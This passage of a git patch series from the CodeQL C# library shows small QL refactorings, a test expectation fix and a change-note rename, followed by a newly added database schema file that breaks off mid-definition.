csharp/ql/src/semmle/code/csharp/exprs/Expr.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll index 925e6f372ec..4cd61f09ef5 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Expr.qll @@ -519,14 +519,14 @@ class BinaryPatternExpr extends PatternExpr, @binary_pattern_expr { PatternExpr getRightOperand() { result = this.getChild(1) } } -/** A binary or pattern. For example, `1 or 2`. */ +/** A binary `or` pattern. For example, `1 or 2`. */ class OrPatternExpr extends BinaryPatternExpr, @or_pattern_expr { override string toString() { result = "... or ..." } override string getAPrimaryQlClass() { result = "OrPatternExpr" } } -/** A binary and pattern. For example, `< 1 and > 2`. */ +/** A binary `and` pattern. For example, `< 1 and > 2`. */ class AndPatternExpr extends BinaryPatternExpr, @and_pattern_expr { override string toString() { result = "... and ..." } From d1cc2cc999daa396396b3a3336cd5c357fca2ec3 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 13:52:12 +0100 Subject: [PATCH 0867/1241] Remove code duplication --- .../code/csharp/controlflow/internal/ControlFlowGraphImpl.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 89d9712da10..85d4600b002 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -62,7 +62,7 @@ module ControlFlowTree { Range() { this = getAChild*(any(CfgScope scope)) } } - private Element getAChild(Element p) { + Element getAChild(Element p) { result = p.getAChild() or result = p.(AssignOperation).getExpandedAssignment() } @@ -1334,7 +1334,7 @@ module Statements { /** Gets a child of `cfe` that is in CFG scope `scope`. */ pragma[noinline] private ControlFlowElement getAChildInScope(ControlFlowElement cfe, Callable scope) { - result = [cfe.getAChild(), cfe.(AssignOperation).getExpandedAssignment()] and + result = ControlFlowTree::getAChild(cfe) and scope = result.getEnclosingCallable() } From 669e2076009a8bac25b31054f26940dc281a20a1 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 16:40:56 +0100 Subject: [PATCH 0868/1241] Fix sign analysis expected file --- .../library-tests/dataflow/signanalysis/SignAnalysis.expected | 2 -- 1 file changed, 2 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/signanalysis/SignAnalysis.expected b/csharp/ql/test/library-tests/dataflow/signanalysis/SignAnalysis.expected index 303715e1894..2081a3423cd 100644 --- a/csharp/ql/test/library-tests/dataflow/signanalysis/SignAnalysis.expected +++ b/csharp/ql/test/library-tests/dataflow/signanalysis/SignAnalysis.expected @@ -199,8 +199,6 @@ | SignAnalysis.cs:377:21:377:22 | &... | positive | | SignAnalysis.cs:378:18:378:19 | access to local variable dp | positive | | SignAnalysis.cs:381:38:381:38 | access to local variable x | strictlyNegative | -| SignAnalysis.cs:385:50:385:99 | access to constant Explicit | strictlyPositive | -| SignAnalysis.cs:385:109:385:110 | 15 | strictlyPositive | | SignAnalysis.cs:390:13:390:32 | Int32 x = ... | strictlyPositive | | SignAnalysis.cs:390:17:390:32 | sizeof(..) | strictlyPositive | | SignAnalysis.cs:391:34:391:34 | access to local variable x | strictlyPositive | From 552e11de195a3a9263028e9268be97da9c00e17f Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 16:42:03 +0100 Subject: [PATCH 0869/1241] Fix change note date --- ...-19-Add-binary-pattern.md => 2021-01-27-Add-binary-pattern.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename csharp/change-notes/{2020-11-19-Add-binary-pattern.md => 2021-01-27-Add-binary-pattern.md} (100%) diff --git a/csharp/change-notes/2020-11-19-Add-binary-pattern.md b/csharp/change-notes/2021-01-27-Add-binary-pattern.md similarity index 100% rename from csharp/change-notes/2020-11-19-Add-binary-pattern.md rename to csharp/change-notes/2021-01-27-Add-binary-pattern.md From 034d0a7b101edd9642f5de50945249ad695a4f5c Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 27 Jan 2021 16:47:15 +0100 Subject: [PATCH 0870/1241] Add DB upgrade folder for binary patterns --- .../old.dbscheme | 1956 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1959 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3917 insertions(+) create mode 100644 csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/old.dbscheme create mode 100644 csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/upgrade.properties diff --git a/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/old.dbscheme b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/old.dbscheme new file mode 100644 index 00000000000..2fb07f0b8c6 --- /dev/null +++ b/csharp/upgrades/2fb07f0b8c65f6c89437c28caf5d99fdbcdbef2d/old.dbscheme @@ -0,0 +1,1956 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 129 = @function_pointer_invocation_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = 